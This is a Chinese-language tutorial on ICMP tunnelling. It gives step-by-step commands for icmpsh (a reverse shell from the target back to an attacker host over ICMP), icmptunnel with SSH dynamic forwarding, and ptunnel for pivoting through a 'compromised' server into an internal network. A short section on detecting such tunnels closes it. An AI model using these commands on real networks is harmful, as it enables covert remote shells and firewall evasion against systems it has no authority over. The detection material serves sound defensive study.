ICMP 隧道
原理
icmp报文中除了必须要有的类型、校验和等等还可以携带一定长度的可选数据,这也就是我们可以用来搭建隧道的原因,不过每次报文携带得的字节不会很多,所以有点慢。
icmpsh
icmpsh是一款使用简单,而且不需要管理员权限即可运行的程序,可以较为简答的搭建隧道并同时获得目标shell
攻击机是kali, IP地址:192.168.220.129
下载icmpsh 到本地
git clone https://github.com/inquisb/icmpsh.git #下载工具
apt-get install python-impacket #安装依赖
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地ICMP应答
执行监听命令,等待回连,IP 192.168.220.146是目标机器
python icmpsh_m.py <attacker’s-IP> <target-IP>
python icmpsh_m.py 192.168.220.129 192.168.220.146
目标机器执行命令格式
icmpsh.exe -t <attacker's-IP>
然后就可以看到在kali这边已经获得了目标的shell,数据就是通过icmp协议传递的
icmptunnel
这个工具需要管理员权限才能进行操作,因为客户端可服务端都需要关闭icmp 的响应,没有管理员权限无法关闭。
下载并进行编译
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
编译完成后可以将编译的结果(二级制文件直接放到其他Linux 机器使用,一般都是可以的).
为了不受内核自动响应icmp的影响,首先将两端的icmp响应关掉
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
服务端执行,给主机作为流量中转
./icmptunnel –s
然后在另一个终端执行
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
客户端执行
./icmptunnel 192.168.220.129
客户端另一个终端执行
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
这时服务器与客户端之间就形成了点对点的icmp隧道
可以在客户端执行
通过ssh over icmp 建立动态转发,使用时使用工具将流量指向本地的8080端口就好了
ssh -D 8080 -N root@10.0.0.1
ptunnel
这个工具是有集成在kali 里面的,
安装
#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
执行是可能的报错
error while loading shared libraries: libpcap.so.1: cannot open shared object file: No such file or directory
执行一下命令
whereis libpcap.so.1
可以看到文件是存在的,只是系统找不到
做一个连接就好了
sudo ln -s /usr/local/lib/libpcap.so.1 /usr/lib/libpcap.so.1
实战
192.168.220.129 公网vps
192.168.220.147 已经拿下的目标公网服务器
192.168.220.131 无法访问,需要通过隧道才能访问的内网服务器。
vps 执行
ptunnel -p 192.168.220.147 -lp 1080 -da 192.168.220.131 -dp 80 -x cookie
-p 跳板的公网IP
-lp 指定本机的监听端口
-da 目标服务器的内网IP
-dp 指定目标服务器的端口
-x 为隧道写一个隧道密码,防止隧道滥用
你拿下的公网服务器执行
ptunnel -x cookie
可以看到是成功的
应对icmp隧道措施
使用icmp隧道时,会集中在某个时间点产生大量的icmp数据包,可以通过wireshark进行icmp数据包分析
1.检测同源的icmp数据包数量,正常的ping命令每秒最多两个数据包,隧道会产生大量的数据包。
2.注意payload大于64bit的ICMP数据包
3.寻找响应数据包和请求数据包payload不一致的ICMP数据包。
windows系统下ping默认传输的是: abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567
4.检查ICMP数据包的协议标签,比如icmptunnel会在所有icmp payload前面加上TUNL标识来标识隧道。
参考
https://xz.aliyun.com/t/7875
https://www.jianshu.com/p/a6eaa947256c